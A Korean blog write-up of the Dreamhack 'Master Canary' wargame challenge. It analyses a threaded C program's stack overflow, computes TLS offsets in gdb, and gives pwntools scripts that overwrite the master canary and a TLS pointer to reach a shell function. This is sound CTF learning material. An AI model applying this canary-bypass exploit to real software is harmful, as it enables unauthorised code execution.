워게임

[시스템 해킹] Master Canary write-up

sewoo-jjang 2026. 4. 14. 14:52

https://dreamhack.io/wargame/challenges/359

 

로그인 | Dreamhack

 

dreamhack.io

0. 보호기법 확인

  • NX bit와 Canary가 켜져있음을 확인할 수 있다.

1. 소스코드 확인

#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void giveshell() { execve("/bin/sh", 0, 0); }
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void read_bytes(char *buf, int size) {
  int i;

  for (i = 0; i < size; i++)
    if (read(0, buf + i*8, 8) < 8)
      return;
}

void thread_routine() {
  char buf[256];
  int size = 0;
  printf("Size: ");
  scanf("%d", &size);
  printf("Data: ");
  read_bytes(buf, size);
}

int main() {
  pthread_t thread_t;

  init();

  if (pthread_create(&thread_t, NULL, (void *)thread_routine, NULL) < 0) {
    perror("thread create error:");
    exit(0);
  }
  pthread_join(thread_t, 0);
  return 0;
}
  • giveshell함수를 이용하여 쉘을 얻는 것임을 추측해볼 수 있다.
  • read_bytes함수는 8바이트씩 읽어옴을 알 수 있다.
  • thread_routine함수에서 buf를 overflow시킬 수 있음을 확인해볼 수 있다.

2. exploit 설계

  • 카나리를 프로세스 실행 도중 받아올 수 있을 것 같아보이지 않아 Master canary를 내가 원하는 글자로 변형시키 exploit시키는 방식을 채택해야할 듯 싶다.
  • master canary의 위치는 TLS영역에 있어 gdb를 이용한다면 주소를 계산할 수 있을것이다.

3. offset 계산

  • 해당 명령어로 Master Canary의 위치는 fs_base +0x28에 위치함을 알 수 있다
  • canary의 위치는 rbp - 0x8에 위치함을 알 수 있다.
  • buf의 위치는 rbp - 0x110임을 알 수 있다.

  • thread_routine함수에 break를 걸어두고 run을 실행한 뒤 info threads 명령어를 작성하면 현재 thread가 존재함을 확인할 수 있다.

  • p/x (unsigned long)($fs_base+0x28) - (unsigned long)($rbp-0x110) 해당 명령어로 buf와 master_canary간의 거리가 0x928임을 확인할 수 있었다.

그림으로 보면 다음과 같다

4. exploit 시도

from pwn import *

p = remote("localhost",7182)
e = ELF("./mc_thread", checksec=False)

BUF_TO_FS_0X28 = 0x928
giveshell = e.sym["giveshell"]

payload = b"A" * 0x108 # buf
payload += b"A" * 0x8 # canary
payload += b"B" * 0x8 # RBP
payload += p64(giveshell)
payload += b"D" * (BUF_TO_FS_0X28 - len(payload))
payload += b"A" * 0x8 # master canary를 canary와 같은 값으로 설정

p.sendlineafter(b"Size: ", str(len(payload) // 8).encode())
p.sendafter(b"Data: ", payload)
p.interactive()
  • 하지만 어째서인지 제대로 작동하지 않는다.
  • 어느 부분에서 break가 생기는지 gdb를 통해 알아보자.

  • $rax + 0x972 부분에서 멈추었음을 확인할 수 있다.
  • 이는 offset 을 계산해 보았을 때 fs_base+ 0x10에 위치임을 알 수 있어 해당 위치의 값을 write할 수 있는 주소로만 바꾸어준다면 exploit 가능함을 예상해볼 수 있다.

5. write 가능한 주소 구하기

  • gdb에서 해당 명령어로 확인해 보았을 때 0x404000 ~ 0x405000 의 주소범위가 rw-p 임으로 해당 주소를 이용한다면 가능할 것이다.
  • fake_tls + 0x972 = writable 주소(0x404300) -> fake_tls = 0x404300 - 0x972

6. 최종 exploit 코드

from pwn import *

p = remote("localhost", 7182)
e = ELF("./mc_thread", checksec=False)

BUF_TO_FS_0X10 = 0x910
BUF_TO_FS_0X28 = 0x928
FAKE_TLS = 0x404100 - 0x972
giveshell = e.sym["giveshell"]

payload = b"A" * 0x108
payload += b"A" * 0x8
payload += b"B" * 0x8
payload += p64(giveshell)
payload += b"C" * (BUF_TO_FS_0X10 - len(payload))
payload += p64(FAKE_TLS)
payload += b"D" * (BUF_TO_FS_0X28 - BUF_TO_FS_0X10 - 8)
payload += b"A" * 0x8

p.sendlineafter(b"Size: ", str(len(payload) // 8).encode())
p.sendafter(b"Data: ", payload)
p.interactive()